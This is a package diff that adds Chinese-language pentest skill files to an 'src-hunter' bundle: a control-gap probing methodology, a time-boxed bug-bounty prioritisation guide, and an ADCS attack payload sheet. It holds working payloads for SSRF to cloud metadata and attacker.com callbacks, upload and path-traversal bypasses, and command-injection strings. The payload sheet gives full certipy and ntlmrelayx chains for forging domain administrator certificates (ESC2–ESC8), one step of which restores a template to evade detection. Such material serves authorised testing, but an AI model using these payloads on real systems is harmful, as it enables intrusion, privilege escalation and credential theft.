opencode-skills-collection 4.0.42 → 4.0.44

package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md

@@ -0,0 +1,238 @@
+# 控制缺口（Control Gap）狩猎
+
+> 白盒视角：检查"代码里有没有这个控制" → 黑盒视角：探测"这个控制是否真的生效"
+> 这是猎手拿到一个新功能、不知道从哪入手时的 SOP
+
+---
+
+## 1. 思维模型
+
+**敏感操作 = 应有控制矩阵 → 黑盒探针 = 测每个控制是否缺失。**
+
+```
+看到端点 → 归类（数据修改 / 资金 / 文件 / SSRF / 认证 / 权限 / 命令 / 越权 / 信息）
+         ↓
+        翻表 → 该类型应该有哪 N 个控制
+         ↓
+对每个控制 → 设计探针：在不满足该控制的条件下访问，看响应
+         ↓
+        哪个返回 200 / 业务成功 → 漏洞
+```
+
+九大类操作 + 探针速查在第 3 章。
+
+---
+
+## 2. 端点分类速查
+
+| 端点特征 | 类型 |
+|---------|------|
+| `POST/PUT/DELETE` + 资源 ID | 数据修改 |
+| `GET` + 单个 ID（`/order/{id}`） | 数据访问 |
+| 含 `export`、`download`、`batch` | 批量 |
+| 含 `role`、`permission`、`grant` | 权限变更 |
+| 含 `transfer`、`pay`、`refund`、`balance` | 资金 |
+| 接受 URL 参数（`?url=`、`?fetch=`、`?import=`、回调） | SSRF |
+| `multipart/form-data` 上传 | 文件上传 |
+| 含 `file`、`path`、`filename`、`download` | 文件读 / 删 |
+| 含 `cmd`、`exec`、`ping`、`nslookup`、`shell` | 命令执行 |
+| `/login`、`/reset`、`/verify`、`/sms` | 认证 |
+
+---
+
+## 3. 9 类操作 × 探针表
+
+### 3.1 数据修改 (CREATE / UPDATE / DELETE)
+
+| 应有控制 | 黑盒探针 | 缺失则 |
+|---------|---------|-------|
+| 鉴权 | 删 Authorization / Cookie，发请求 | 未授权写 → P0 |
+| 资源所有权 | 用账号 A 改 B 的资源 ID | IDOR / 越权 → P1 |
+| 输入验证 | 改类型（int → "abc"）、长度溢出 | 报错 / 崩溃 → 信息泄露 |
+| 输入完整性 | 加额外字段 `is_admin=true` | Mass Assignment → P0 |
+| 操作确认 | 直接 DELETE 不带二次确认 token | 误删 / CSRF |
+
+### 3.2 数据访问（READ）
+
+| 探针 | 缺失则 |
+|------|-------|
+| 改 ID 序号（自增）/ 改 UUID（猜不动就枚举）/ 改 hash | IDOR |
+| 删除认证后访问 | 未授权数据泄露 |
+| `?ids=1,2,3,...,10000` 批量 | 大面积泄露 |
+| 改字段筛选（`?fields=*` 或 GraphQL） | 字段级泄露 |
+
+### 3.3 批量 / 导出
+
+| 探针 | 缺失则 |
+|------|-------|
+| 改导出范围（`startDate=2010-01-01`） | 全量泄露 |
+| 删除范围限制 / 用户筛选 | 跨租户泄露 |
+| 高频调用 / 大并发 | DoS / 资源耗尽 |
+| 改导出对象 ID（导出他人订单） | 越权批量 |
+
+### 3.4 权限变更
+
+| 探针 | 缺失则 |
+|------|-------|
+| 普通用户调用 `/role/grant` | 鉴权缺失提权 (P0) |
+| 自己授予自己 admin | 自提权 (P0) |
+| 普通管理员授予 super_admin | 边界缺失 (P0) |
+| 改请求体 `role: admin` 等隐藏字段（IDOR + Mass Assignment） | 关键提权 (P0) |
+
+### 3.5 资金
+
+| 探针 | 缺失则 |
+|------|-------|
+| 金额改 0 / 0.01 / 负数 / 1e-10 | 金额校验缺失 (P0) |
+| 改商品 ID 但保留低价 | 服务端不重算 → 任意支付 |
+| 重放支付回调（同一签名两次） | 幂等缺失 → 双花 |
+| 并发 50 次同请求 | 竞态 → 透支 / 双发卡券 |
+| 把折扣券叠加 / 退货后回退优惠券 | 业务逻辑漏洞 |
+
+参考：WooYun-2015-0108817（电商价格篡改）。
+
+### 3.6 外部 HTTP（SSRF）
+
+| 探针 | 缺失则 |
+|------|-------|
+| `?url=http://127.0.0.1` / `[::1]` / `2130706433` | 内网封禁缺失 |
+| `?url=file:///etc/passwd` | 协议白名单缺失 |
+| `?url=http://169.254.169.254/...` | 云元数据可达 |
+| `?url=http://attacker.com` 看是否回连 | DNSLog 验证基本 SSRF |
+| `?url=http://attacker.com` 触发 302 → 内网 | 重定向跟随未限制 |
+| DNS Rebinding（`rbndr.us`） | 二次解析逃逸白名单 |
+
+### 3.7 文件上传
+
+| 探针 | 缺失则 |
+|------|-------|
+| 改扩展名 `.php` `.jsp` `.asp` `.phtml` `.jspx` | 黑名单缺失 |
+| `.Php` / `.pHp%20` / `.php.` | 大小写 / 空格绕过 |
+| `shell.php%00.jpg` | 截断绕过（旧版） |
+| `Content-Type: image/jpeg` 但内容是脚本 | MIME 仅靠 Header |
+| 文件名加 `../` | 路径校验缺失 |
+| 上传后访问目录列表 | 命名规则猜测 |
+| 内容含图片头 + 脚本（图片马） | 解析漏洞配合 |
+
+### 3.8 文件读 / 下载 / 删除
+
+| 探针 | 缺失则 |
+|------|-------|
+| `?file=../../etc/passwd` 各级 | 路径规范化缺失 |
+| `?file=/etc/passwd`（绝对路径） | 前缀校验缺失 |
+| `?file=file:///etc/passwd` | 协议过滤缺失 |
+| 删除接口：`?path=../../web/index.html` | **任意文件删（易遗漏！）** |
+| 大小写：`?file=../../ETC/PASSWD` | 黑名单 lower |
+
+### 3.9 命令执行（含 ping / nslookup / 工具类）
+
+| 探针 | 缺失则 |
+|------|-------|
+| `127.0.0.1; id` / `\| id` / `&& id` / `` `id` `` / `$(id)` | 拼接符过滤缺失 |
+| `127.0.0.1%0aid` | 换行绕过 |
+| `127.0.0.1 -c1 -W1 ; sleep 5` | 时间盲（无回显） |
+| `ping ${LDAP}.attacker.com` 看 DNSLog | 外带验证 |
+| 命令字 cat / curl 被过滤时换 tac / wget | 关键字过滤 |
+
+### 3.10 认证操作
+
+| 探针 | 缺失则 |
+|------|-------|
+| 短信验证码爆破（4–6 位数字、无频率限制） | 验证码爆破 |
+| 验证码不刷新（同一码用多次） | 验证码可重用 |
+| 验证码绑定关系：用 A 手机收到的码改 B 密码 | 验证码与用户解绑 |
+| 重置流程跳步骤（直接 GET 第 3 步页面） | 流程跳跃 |
+| 改请求体 `username=victim` | 凭证参数可控 |
+| 撞库（公开数据库 + 无频率限制） | 撞库 |
+
+详见 `playbooks/logic-flaws.md` 4 大密码重置模式。
+
+### 3.11 越权（独立类，常被错过）
+
+| 探针 | 缺失则 |
+|------|-------|
+| 水平：账号 A 改 B 资源（同级越权） | IDOR (P1) |
+| 垂直：普通用户调用 admin API | 后端鉴权仅看 JWT 而不看 role (P0) |
+| Header 越权：`X-User-Role: admin` 注入 | Header 信任 (P0) |
+| Cookie 越权：改 Cookie 中 `role` / `userId` | 客户端可控会话 (P0) |
+| Method 越权：DELETE 不行就试 OPTIONS / `X-HTTP-Method-Override` | 方法过滤不全 |
+
+---
+
+## 4. "新功能 5 分钟探针套餐"
+
+拿到一个新功能，先做这 5 步（约 5–10 分钟）：
+
+```
+1. 抓 1 个完整请求（保留所有 Header / Cookie / Body）
+   → 看请求里有什么"看起来重要的字段"
+
+2. 删掉 Authorization / Cookie，重发
+   → 看是否还能用（未授权）
+
+3. 改 1 个 ID 字段（数字 +1 / 换 UUID / 换租户）
+   → 看是否能拿到他人数据（IDOR）
+
+4. 改 1 个看起来"客户端不该控制"的字段
+   （price / role / status / is_admin / amount / userId）
+   → 看是否生效（Mass Assignment / 篡改）
+
+5. 加一个 corner case 字段（重复参数 / null / 长字符串 / 数组）
+   → 看返回是否变化或报错（信息泄露 / 类型混淆）
+```
+
+5 步过完没有发现，再进对应 playbook 深挖。
+
+---
+
+## 5. 控制缺口报告写法
+
+报告里把这些用同一个表格格式呈现，平台审核很喜欢：
+
+```markdown
+## 控制缺口分析
+
+| 应有控制 | 在该端点是否生效 | 证据 |
+|---------|----------------|------|
+| 鉴权 | ✓ 缺 Authorization 返回 401 | （包略） |
+| 资源所有权 | ✗ 账号 A 可读 B 数据 | 见 PoC §1 |
+| 输入完整性 | ✗ 接受 `is_admin=true` 字段 | 见 PoC §2 |
+| 操作审计 | ? 无法从外部判断 | - |
+
+漏洞结论：缺失"资源所有权" + "Mass Assignment 防护"，
+组合可导致普通用户提权为 admin。
+```
+
+---
+
+## 6. 易遗漏的盲区
+
+> 来自 WooYun + 真实 SRC 报告分析的"高频盲区"
+
+1. **文件删除**——大家只测上传 / 下载，忘了 DELETE。任意文件删可瘫服务（删 `index.html`）。
+2. **批量参数**（`ids=1,2,3,...,10000`）——单个 IDOR 受限制时，批量接口往往没限制。
+3. **导出范围**（`startDate=2010-01-01`）——把分页放大 / 把日期放回十年前。
+4. **OPTIONS / HEAD**——很多鉴权拦截只针对 GET/POST。
+5. **二次接口 / 内部接口**——通过抓 mobile app / 微信小程序常发现"PC 没暴露的"接口。
+6. **WebSocket / SSE**——文档不写、流量不抓的话很容易漏掉。
+7. **GraphQL 深嵌套**——顶层加权限，子字段没加（详见 `playbooks/graphql.md`）。
+8. **登出 / 注销 redirect_uri**——OAuth 几乎所有人都忘记白名单 logout。
+9. **第三方回调** （short URL / sms / pay 回调）——回调 endpoint 经常无签名。
+
+每次审计花 5 分钟过一遍这 9 个盲区，能挖到不少 P1。
+
+---
+
+## 7. 与 playbook 的衔接
+
+发现某类型缺失控制 → 进入对应 playbook 深挖：
+
+| 缺失控制 | 对应 playbook |
+|---------|--------------|
+| 鉴权 / 资源所有权 | `playbooks/unauth-access.md`、`playbooks/logic-flaws.md` (越权) |
+| URL 白名单 / 协议过滤 | `playbooks/ssrf-cache-host.md` |
+| 文件类型 / 路径 | `playbooks/file-upload.md`、`playbooks/path-traversal.md` |
+| 命令白名单 / 拼接 | `playbooks/rce.md` |
+| 验证码 / 凭证绑定 | `playbooks/logic-flaws.md` |
+| 输入验证（SQL / XSS） | `playbooks/sqli.md`、`playbooks/xss.md` |
+| 金额 / 幂等 / 并发 | `playbooks/logic-flaws.md`、`playbooks/race-conditions.md` |

package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md

@@ -0,0 +1,161 @@
+# SRC 时间盒优先级——基于 22,132 案例统计的高危占比排序
+
+> 视角：黑盒 SRC 猎手在限定时间内（一次众测、一次 SRC 集中刷分、一次 HVV 演练）应该按什么顺序投入时间。
+> 配套读物：`01-attack-priority.md`（讲漏洞类型本身值多少钱）+ 本篇（讲在一类漏洞中"挖到 == 高危"的概率）。
+
+---
+
+## 1. 一句话原则
+
+`01-attack-priority.md` 给的是 **"如果挖到值多少"**；
+本篇给的是 **"挖一个 == 高危的概率有多大"**。
+两者结合 → 时间投入回报率最高的先打。
+
+```
+时间盒回报 = 漏洞基线赏金（01 表）  ×  挖到即高危概率（本表）  /  平均探测代价
+```
+
+---
+
+## 2. 16 类漏洞的高危占比排名
+
+> 22,132 个真实样本，"高危"=平台/委员会评定为 high 或 critical。
+
+| 排名 | 漏洞类别 | 案例数 | 高危占比 | 领域 | 黑盒探测难度 |
+|------|---------|-------|---------|------|------------|
+| 1 | **密码重置** | 777 | **88.0%** | 认证 | 中（需走完流程并比对响应） |
+| 2 | **任意账号 / 任意登录** | 220 | **86.4%** | 授权 | 低（看登录接口是否要求 password） |
+| 3 | **提现** | 59 | **83.1%** | 金融 | 高（需测试账号 + 风控边缘） |
+| 4 | **金额篡改** | 176 | **83.0%** | 金融 | 低（改 `amount=0.01` 即知） |
+| 5 | **余额篡改** | 113 | **77.9%** | 金融 | 中（需理解账本/积分模型） |
+| 6 | **任意用户注册** | 24 | **75.0%** | 授权 | 低（绕过邀请码 / 改邮箱后缀） |
+| 7 | **逻辑漏洞（综合）** | 266 | **74.8%** | 逻辑 | 中（流程 + 状态机） |
+| 8 | **订单篡改** | 1,227 | **74.2%** | 金融 | 中（改 status / 跳步骤） |
+| 9 | **价格篡改** | 70 | **74.3%** | 金融 | 低（改 `price`） |
+| 10 | **配置不当** | 1,796 | **72.6%** | 配置 | 低（端口扫 + 默认凭据） |
+| 11 | **任意操作** | 40 | **72.5%** | 授权 | 中（需认识"批准/审核"接口） |
+| 12 | **支付绕过** | 1,056 | **68.7%** | 金融 | 中（重放回调 / 跳过支付） |
+| 13 | **设计缺陷** | 1,391 | **65.3%** | 逻辑 | 高（需理解业务） |
+| 14 | **信息泄露** | 4,858 | **64.7%** | 信息 | 低（路径字典 + Wayback） |
+| 15 | **越权（IDOR / 横纵向）** | 1,705 | **62.3%** | 授权 | 低（双账号比对） |
+| 16 | **弱口令** | 7,513 | **58.2%** | 认证 | 低（爆破，注意限速） |
+
+> 三个最值得注意的反直觉数据：
+> 1. **密码重置 88%**——很多人只测"短信码爆破"，忽略了响应回显、绑定缺失、流程跳跃 4 模式。
+> 2. **配置不当 72.6%**——端口扫描 + 默认凭据是最低成本的"必中型"工作量。
+> 3. **任意账号 86.4%**——比泛 IDOR（62.3%）高 24 个百分点，专门盯"登录无密码、token 可伪造"的接口。
+
+---
+
+## 3. SRC 时间盒打法（4 个模板）
+
+### 模板 A：6 小时快进——找一个能交的高危
+
+```
+0:00–0:30  扫端口 + 扫 admin 路径 + 跑默认凭据    （命中 → 配置 72.6% / 弱口令 58.2%）
+0:30–1:30  抓主要业务流（注册/登录/找回/下单/退）  → 同时记录所有参数
+1:30–2:30  密码重置 4 模式逐一过一遍              （88% 高危）
+2:30–4:00  双账号 IDOR 横纵向                    （62.3% 高危，但容易批量出活）
+4:00–5:00  支付/订单：改 amount/price/quantity    （74–83% 高危）
+5:00–6:00  整理证据 + 写报告 + 脱敏
+```
+
+### 模板 B：单日深度——一个目标打透
+
+```
+1. 先按"模板 A"过一轮地表层
+2. 没出货 → 进 SP/CP/合作方子域、冷门子产品（活动页、营销页、积分商城）
+3. 翻 GitHub 找该公司的代码泄露（高频参数已知，搜 `siteId`、`out_trade_no` 等）
+4. 翻 Wayback Machine 找下线接口（很多老接口仍在线）
+5. APP 抓包：和 Web 比对差异接口（APP 接口往往鉴权更弱）
+6. 第三方 SDK：客服 IM / 支付 SDK / 推送 SDK，看是否存在硬编码 secret
+```
+
+### 模板 C：HVV 演练——拿权限优先
+
+```
+P0 焦点（前 30%）：
+  - 扫所有 IP 的 6379/27017/2375/9200/2181 → 命中即拿数据/RCE
+  - 扫 7001/8080/8088 + WebLogic / JBoss / Tomcat 默认凭据
+  - 扫 Spring Actuator /heapdump、/env
+
+P1 焦点（30–60%）：
+  - .git / .svn / wwwroot.rar / *.bak（详见 dictionaries/）
+  - Shiro rememberMe 默认 key、Fastjson 1.2.x、Log4Shell
+
+P2 焦点（60–100%）：
+  - 业务漏洞（密码重置 / 越权 / 任意账号）
+  - GitHub 代码搜
+```
+
+### 模板 D：SRC 月度刷分——薅长尾
+
+```
+高危占比靠后但案例数大的两个矿：
+  - 信息泄露（64.7% × 4,858 案例 = 海量）
+  - 弱口令（58.2% × 7,513 案例 = 海量）
+
+策略：
+  1. 维护私有路径字典 + 弱口令字典（详见 dictionaries/）
+  2. 自动化扫一批新上的子域 / 新业务线
+  3. 每天花 30 分钟看 SRC 公告/更新，第一时间扫新增资产
+```
+
+---
+
+## 4. 与 `01-attack-priority.md` 的合用矩阵
+
+行：基线赏金等级（01 表）。列：高危占比段。
+单元格：实际投入排序。
+
+| 基线 \ 高危占比 | 88% 段（密码重置/任意账号） | 72–83% 段（支付/订单/配置/任意操作） | 58–65% 段（IDOR/弱口令/信息泄露） |
+|---|---|---|---|
+| **P0（RCE / 任意写）** | — | **🔴 最优先**（配置不当含 RCE、Actuator 泄密钥） | 🟠 信息泄露含数据库密码时升 P0 |
+| **P0/P1（鉴权绕过 / 越权 admin）** | 🔴 任意账号 = 立刻报 | 🟠 任意操作 / 任意修改 | 🟡 普通 IDOR |
+| **P1（IDOR / 逻辑 / SQLi）** | 🟠 密码重置 → 接管单用户 = P1 | 🟡 价格 0.01 / 订单状态跳 | 🟡 横向 IDOR 单条数据 |
+| **P2（XSS / CSRF / 重定向）** | — | — | 🟢 拼链子（XSS + IDOR） |
+
+🔴 立即报 / 🟠 高优先 / 🟡 中等 / 🟢 凑数 / — 不存在该组合
+
+---
+
+## 5. 探针决策树（按时间盒预算）
+
+```
+拿到目标 → 还有多少时间？
+
+  ≤ 1h  → 只跑：默认凭据 + Actuator + .git + 弱口令 + 单一 IDOR
+  ≤ 6h  → 加：密码重置 4 模式 + 价格篡改 + 双账号 IDOR
+  ≤ 1d  → 加：订单状态机 + 验证码爆破 + 任意操作（批准/发布）
+  ≤ 1w  → 加：APP 逆向 + 子产品线 + 第三方 SDK + 业务深挖
+```
+
+每过完一段时间盒，必须做：
+1. 确认已发现项是否能证据闭环 → 不能闭环就别留到后期
+2. 评估是否还有"短链高占比"组合可挖
+3. 不要陷入"我再花一天就能链 RCE"的执念——按时间盒收手
+
+---
+
+## 6. 反直觉提醒
+
+> **三件最容易被忽视但高危占比最高的事：**
+
+1. **拦响应包看验证码**——很多人只关心拦请求，但 88% 高危占比的密码重置漏洞中，最常见就是响应里直接给了 `verifyCode`。
+2. **登录接口看是否真的需要密码**——任意账号 86.4% 高危。看请求体：是否只发 `username` 就能换 token？是否 `password` 字段可空？
+3. **批准 / 审核 / 发布接口**——任意操作 72.5% 高危。这些往往是"管理员路径"但鉴权写在前端。
+
+---
+
+## 7. 与 playbook 的对应
+
+| 排名段 | 主要 playbook |
+|--------|--------------|
+| 1（密码重置） | `playbooks/logic-flaws.md` §3.1 + `oauth-saml-jwt.md` |
+| 2/6/11（任意 X） | `playbooks/arbitrary-x-authz.md` |
+| 3/4/5/8/9/12（金融类） | `playbooks/logic-flaws.md` §3.4 + `industry/banking-finance.md` |
+| 7/13（逻辑/设计） | `playbooks/logic-flaws.md` |
+| 10（配置） | `playbooks/unauth-access.md` + `dictionaries/default-credentials-cn.md` |
+| 14（信息泄露） | `playbooks/info-disclosure.md` + `dictionaries/chinese-srcfingerprints.md` |
+| 15（IDOR） | `playbooks/logic-flaws.md` §3.2 + `playbooks/api-rest.md` |
+| 16（弱口令） | `playbooks/unauth-access.md` + `dictionaries/default-credentials-cn.md` |

package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md

@@ -0,0 +1,254 @@
+# ADCS攻击
+
+_5 条 intranet payload_
+
+### ADCS ESC2攻击  `adcs-esc2`
+_利用ESC2模板配置错误_
+子类：**ESC2** · tags: `adcs` `esc2` `certificate`
+
+**前置条件：**
+- 域环境
+- ADCS服务
+- 存在ESC2模板
+
+**攻击链：**
+
+**探测ESC2模板**
+> 探测ESC2模板
+_platform: linux_
+```
+certipy find -u user@domain.com -p password -dc-ip DC_IP
+查找Any Purpose或CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT模板
+```
+
+**请求证书**
+> 请求管理员证书
+_platform: linux_
+```
+certipy req -u user@domain.com -p password -ca CA_NAME -target DC_IP -template VULNERABLE_TEMPLATE -upn administrator@domain.com
+```
+**语法解析：**
+- `-template` — 指定易受攻击模板 _parameter_
+- `-upn` — 指定目标用户UPN _parameter_
+
+**使用证书认证**
+> 使用证书认证
+_platform: linux_
+```
+certipy auth -pfx administrator.pfx -dc-ip DC_IP
+获取管理员TGT
+```
+
+
+**概述：** ESC2允许请求任意用途的证书，可用于伪造任意用户身份。
+
+**漏洞原理：** 证书模板配置允许Any Purpose扩展。
+
+**利用方法：** 利用流程：1) 发现ESC2模板 2) 请求管理员证书 3) 使用证书认证
+
+**防御措施：** 防御措施：1) 审计证书模板 2) 禁用Any Purpose 3) 监控证书请求
+
+---
+
+### ADCS ESC3攻击  `adcs-esc3`
+_利用ESC3注册代理配置错误_
+子类：**ESC3** · tags: `adcs` `esc3` `certificate`
+
+**前置条件：**
+- 域环境
+- ADCS服务
+- 存在ESC3配置
+
+**攻击链：**
+
+**探测ESC3**
+> 探测ESC3配置
+_platform: linux_
+```
+certipy find -u user@domain.com -p password -dc-ip DC_IP
+查找具有Enrollment Agent权限的模板
+```
+
+**获取注册代理证书**
+> 获取注册代理证书
+_platform: linux_
+```
+certipy req -u user@domain.com -p password -ca CA_NAME -template EnrollmentAgent
+获取注册代理证书
+```
+
+**代表其他用户请求证书**
+> 代表管理员请求证书
+_platform: linux_
+```
+certipy req -u user@domain.com -p password -ca CA_NAME -template User -on-behalf-of DOMAIN\\Administrator -pfx agent.pfx
+```
+**语法解析：**
+- `-on-behalf-of` — 代表其他用户请求 _parameter_
+- `-pfx agent.pfx` — 使用代理证书 _parameter_
+
+
+**概述：** ESC3允许注册代理代表其他用户请求证书。
+
+**漏洞原理：** 证书模板允许注册代理功能。
+
+**利用方法：** 利用流程：1) 获取代理证书 2) 代表管理员请求证书 3) 使用证书认证
+
+**防御措施：** 防御措施：1) 限制注册代理权限 2) 审计代理证书 3) 监控异常请求
+
+---
+
+### ADCS ESC4攻击  `adcs-esc4`
+_利用ESC4模板权限配置错误_
+子类：**ESC4** · tags: `adcs` `esc4` `certificate`
+
+**前置条件：**
+- 域环境
+- ADCS服务
+- 对模板有写权限
+
+**攻击链：**
+
+**探测ESC4**
+> 探测模板权限
+_platform: linux_
+```
+certipy find -u user@domain.com -p password -dc-ip DC_IP
+查找用户有写权限的模板
+```
+
+**修改模板配置**
+> 修改模板配置
+_platform: linux_
+```
+certipy template -u user@domain.com -p password -template VULNERABLE_TEMPLATE -save-old
+修改模板为ESC1配置
+```
+
+**请求证书**
+> 请求管理员证书
+_platform: linux_
+```
+certipy req -u user@domain.com -p password -ca CA_NAME -template VULNERABLE_TEMPLATE -upn administrator@domain.com
+```
+**语法解析：**
+- `-save-old` — 保存原配置以便恢复 _parameter_
+- `修改模板` — 启用SAN扩展 _keyword_
+
+**恢复模板配置**
+> 恢复模板配置
+_platform: linux_
+```
+certipy template -u user@domain.com -p password -template VULNERABLE_TEMPLATE -configuration old_config.json
+恢复原配置避免检测
+```
+
+
+**概述：** ESC4允许修改证书模板配置来提权。
+
+**漏洞原理：** 用户对证书模板有写权限。
+
+**利用方法：** 利用流程：1) 发现可写模板 2) 修改配置 3) 请求证书 4) 恢复配置
+
+**防御措施：** 防御措施：1) 审计模板权限 2) 限制写权限 3) 监控模板修改
+
+---
+
+### ADCS ESC6攻击  `adcs-esc6`
+_利用ESC6编辑标志配置错误_
+子类：**ESC6** · tags: `adcs` `esc6` `certificate`
+
+**前置条件：**
+- 域环境
+- ADCS服务
+- CA启用EDITF_ATTRIBUTESUBJECTALTNAME2
+
+**攻击链：**
+
+**探测ESC6**
+> 探测CA配置
+_platform: linux_
+```
+certipy find -u user@domain.com -p password -dc-ip DC_IP
+查找EDITF_ATTRIBUTESUBJECTALTNAME2标志
+```
+
+**请求证书**
+> 请求管理员证书
+_platform: linux_
+```
+certipy req -u user@domain.com -p password -ca CA_NAME -template User -alt administrator@domain.com
+使用-alt参数指定SAN
+```
+**语法解析：**
+- `-alt` — 指定Subject Alternative Name _parameter_
+- `EDITF_ATTRIBUTESUBJECTALTNAME2` — CA允许在请求中指定SAN _keyword_
+
+**使用证书认证**
+> 认证获取TGT
+_platform: linux_
+```
+certipy auth -pfx administrator.pfx -dc-ip DC_IP
+```
+
+
+**概述：** ESC6允许在证书请求中指定任意SAN。
+
+**漏洞原理：** CA配置了EDITF_ATTRIBUTESUBJECTALTNAME2标志。
+
+**利用方法：** 利用流程：1) 探测CA配置 2) 请求带管理员SAN的证书 3) 认证
+
+**防御措施：** 防御措施：1) 移除EDITF_ATTRIBUTESUBJECTALTNAME2标志 2) 监控证书请求 3) 审计CA配置
+
+---
+
+### ADCS ESC8攻击  `adcs-esc8`
+_利用ESC8 HTTP端点进行NTLM中继_
+子类：**ESC8** · tags: `adcs` `esc8` `ntlm-relay`
+
+**前置条件：**
+- 域环境
+- ADCS HTTP端点
+- 可触发NTLM认证
+
+**攻击链：**
+
+**探测ESC8**
+> 探测HTTP端点
+_platform: linux_
+```
+certipy find -u user@domain.com -p password -dc-ip DC_IP
+查找HTTP证书端点
+```
+
+**设置NTLM中继**
+> 设置NTLM中继
+_platform: linux_
+```
+impacket-ntlmrelayx -t http://CA_SERVER/certsrv/certfnsh.asp -smb2support --adcs
+监听NTLM认证并中继到ADCS
+```
+**语法解析：**
+- `-t http://CA_SERVER` — 目标ADCS HTTP端点 _parameter_
+- `--adcs` — 启用ADCS模板 _parameter_
+
+**触发认证**
+> 触发目标NTLM认证
+```
+使用多种方式触发:
+- 发送邮件链接
+- 打印机漏洞
+- WebDAV
+- 其他NTLM触发方式
+```
+
+
+**概述：** ESC8利用ADCS HTTP端点进行NTLM中继攻击。
+
+**漏洞原理：** ADCS HTTP端点支持NTLM认证且未启用签名。
+
+**利用方法：** 利用流程：1) 设置中继服务器 2) 触发目标认证 3) 获取证书
+
+**防御措施：** 防御措施：1) 启用通道绑定 2) 禁用HTTP端点 3) 启用Extended Protection
+
+---